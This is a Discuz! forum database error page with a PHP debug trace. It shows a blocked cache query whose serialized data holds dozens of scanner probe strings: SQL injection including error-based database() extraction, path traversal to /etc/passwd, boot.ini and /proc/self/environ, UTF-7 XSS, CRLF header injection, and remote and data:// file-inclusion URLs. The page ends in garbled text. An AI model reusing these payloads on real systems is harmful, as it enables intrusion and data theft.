Discuz! Database Error

(0) It is not safe to do this query
REPLACE INTO common_cache SET `cachekey`='threadclasscount_50' , `cachevalue`='a:1:{s:6:\"typeid\";a:84:{i:58;s:3:\"249\";i:1;s:2:\"19\";s:3:\"58 \";s:2:\"55\";s:10:\"58 and 3=3\";s:2:\"55\";s:10:\"58 and 3=4\";s:2:\"55\";s:26:\"58\\\\\\\' and \\\\\\\'a\\\\\\\'=\\\\\\\'a\";s:2:\"55\";s:26:\"58\\\\\\\' and \\\\\\\'a\\\\\\\'=\\\\\\\'b\";s:2:\"55\";s:34:\"58%\\\\\\\' and 3=3 and \\\\\\\'%\\\\\\\'=\\\\\\\'\";s:2:\"55\";s:237:\"58 and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1\";s:2:\"55\";s:253:\"58\\\\\\\' and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and \\\\\\\'1\\\\\\\'=\\\\\\\'1\";s:2:\"55\";s:253:\"58%\\\\\\\' and(select 1 from(select count(*),concat((select (select concat(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and \\\\\\\'%\\\\\\\'=\\\\\\\'\";s:2:\"55\";s:48:\"58+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-\";s:2:\"55\";s:6:\"58\\\\\\\'\";s:2:\"55\";s:5:\"58%27\";s:2:\"55\";s:9:\"58\\\\0\\\\\\\'\";s:2:\"55\";s:10:\"58\\\\\\\\\\\\\\\'\";s:2:\"55\";s:6:\"58JyI=\";s:3:\"231\";s:7:\"58\\\\\\'\";s:2:\"55\";s:3:\"58/\";s:3:\"231\";s:32:\"../../../../../../../../boot.ini\";s:2:\"76\";s:35:\"../../../../../../../../boot.ini\\\\0\";s:2:\"76\";s:56:\"boot.ini\";s:2:\"76\";s:39:\"../../../../../../../../boot.ini\\\\0.jpg\";s:2:\"76\";s:75:\"/.\\\\\\\\\\\\\\\\./.\\\\\\\\\\\\\\\\./.\\\\\\\\\\\\\\\\./.\\\\\\\\\\\\\\\\./.\\\\\\\\\\\\\\\\./.\\\\\\\\\\\\\\\\./boot.ini\";s:2:\"76\";s:56:\"..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\boot.ini\";s:2:\"76\";s:64:\"../..//../..//../..//../..//../..//../..//../..//../..//boot.ini\";s:2:\"76\";s:80:\"../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini\";s:2:\"76\";s:39:\"../../../../../../../../boot.ini\\\\0.htm\";s:2:\"76\";s:19:\"file:///c:/boot.ini\";s:2:\"76\";s:34:\"../../../../../../../../etc/passwd\";s:2:\"96\";s:37:\"../../../../../../../../etc/passwd\\\\0\";s:2:\"96\";s:37:\"\\\\0../../../../../../../../etc/passwd\";s:2:\"96\";s:42:\"../../../../../../../../etc/passwd\\\\0.html\";s:2:\"96\";s:41:\"../../../../../../../../etc/passwd\\\\0.jpg\";s:2:\"96\";s:76:\".\\\\\\\\\\\\\\\\./.\\\\\\\\\\\\\\\\./.\\\\\\\\\\\\\\\\./.\\\\\\\\\\\\\\\\./.\\\\\\\\\\\\\\\\./.\\\\\\\\\\\\\\\\./etc/passwd\";s:2:\"96\";s:11:\"/etc/passwd\";s:2:\"76\";s:25:\"/./././././././etc/passwd\";s:2:\"96\";s:82:\"../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd\";s:2:\"96\";s:42:\"................etc/passwd\";s:2:\"96\";s:59:\"/etc/passwd\";s:2:\"96\";s:18:\"file:///etc/passwd\";s:2:\"96\";s:66:\"../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd\";s:2:\"96\";s:70:\"http://some-inexistent-website.com/some_inexistent_file_with_long_name\";s:2:\"76\";s:36:\"/some_inexistent_file_with_long_name\";s:2:\"76\";s:43:\"\r\n SomeCustomInjectedHeader:injected_by_wvs\";s:2:\"76\";s:42:\"\n SomeCustomInjectedHeader:injected_by_wvs\";s:2:\"76\";s:3:\"dir\";s:2:\"76\";s:25:\"http://bbs.webscan.360.cn\";s:2:\"76\";s:18:\"bbs.webscan.360.cn\";s:2:\"76\";s:46:\"+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-\";s:2:\"76\";s:18:\"/proc/self/environ\";s:2:\"76\";s:21:\"/proc/self/environ\\\\0\";s:2:\"76\";s:47:\"../../../../../../../../../../proc/self/environ\";s:2:\"76\";s:51:\"/../../../../../../../../../../proc/self/environ\\\\0\";s:2:\"76\";s:14:\"/etc/passwd\\\\0\";s:2:\"76\";s:40:\"../../../../../../../../../../etc/passwd\";s:2:\"76\";s:41:\"/../../../../../../../../../../etc/passwd\";s:2:\"76\";s:43:\"../../../../../../../../../../etc/passwd\\\\0\";s:2:\"76\";s:44:\"/../../../../../../../../../../etc/passwd\\\\0\";s:2:\"76\";s:14:\"58alert(42873)\";s:2:\"55\";s:4:\"58-0\";s:2:\"70\";s:4:\"58s3\";s:2:\"70\";s:18:\"58 order by 1 -- ;\";s:2:\"72\";s:20:\"58 order by 999 -- ;\";s:2:\"72\";s:12:\"58 AND 87=38\";s:3:\"231\";s:12:\"58 AND 23=23\";s:3:\"231\";s:14:\"58 AND 424=461\";s:3:\"231\";s:4:\"58[]\";s:3:\"231\";s:14:\"58\\\\0xa7\";s:3:\"231\";s:36:\"http://eye.webscan.360.cn/ddffdd.php\";s:2:\"76\";s:32:\"http://eye.webscan.360.cn/ddffdd\";s:2:\"76\";s:65:\"data://text/plain;base64,PD9waHAgZWNobyBtZDUoIndlYnNjYW4iKTs/Pg==\";s:2:\"76\";s:39:\"http://eye.webscan.360.cn/ddffdd.php\\\\0\";s:2:\"76\";s:40:\"../../../../../../../../boot.ini\\\\0.html\";s:2:\"76\";s:14:\"C:\\\\\\\\boot.ini\";s:2:\"76\";s:40:\"................boot.ini\";s:2:\"76\";s:57:\"|..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\boot.ini\";s:2:\"76\";s:39:\"../../../../../../../../boot.ini\\\\0.txt\";s:2:\"76\";s:30:\"................windowswin.ini\";s:2:\"76\";s:44:\"\r\n SomeCustomInjectedHeader:injected_by_test\";s:2:\"76\";s:43:\"\n SomeCustomInjectedHeader:injected_by_test\";s:2:\"76\";s:25:\"http://oxoxoxoxoxoxox.com\";s:2:\"76\";s:18:\"oxoxoxoxoxoxox.com\";s:2:\"76\";s:7:\"phpinfo\";s:2:\"76\";}}'

PHP Debug

No.FileLineCode
1forum.php67require(%s)
2source/module/forum/forum_forumdisplay.php544threadclasscount(%s, %f, %s, %s)
3source/function/function_forumlist.php400discuz_table->insert(Array, false, true)
4source/class/discuz/discuz_table.php81discuz_database::insert(%s, Array, false, true, %s)
5source/class/discuz/discuz_database.php60discuz_database::query(%s, %s, %s, true)
6source/class/discuz/discuz_database.php135discuz_database::checkquery(%s)
7source/class/discuz/discuz_database.php172discuz_database_safecheck::checkquery(%s)
8source/class/discuz/discuz_database.php362break()
www.so0912.com Ѿ˳Ϣϸ¼, ɴ˸ķʲǸ.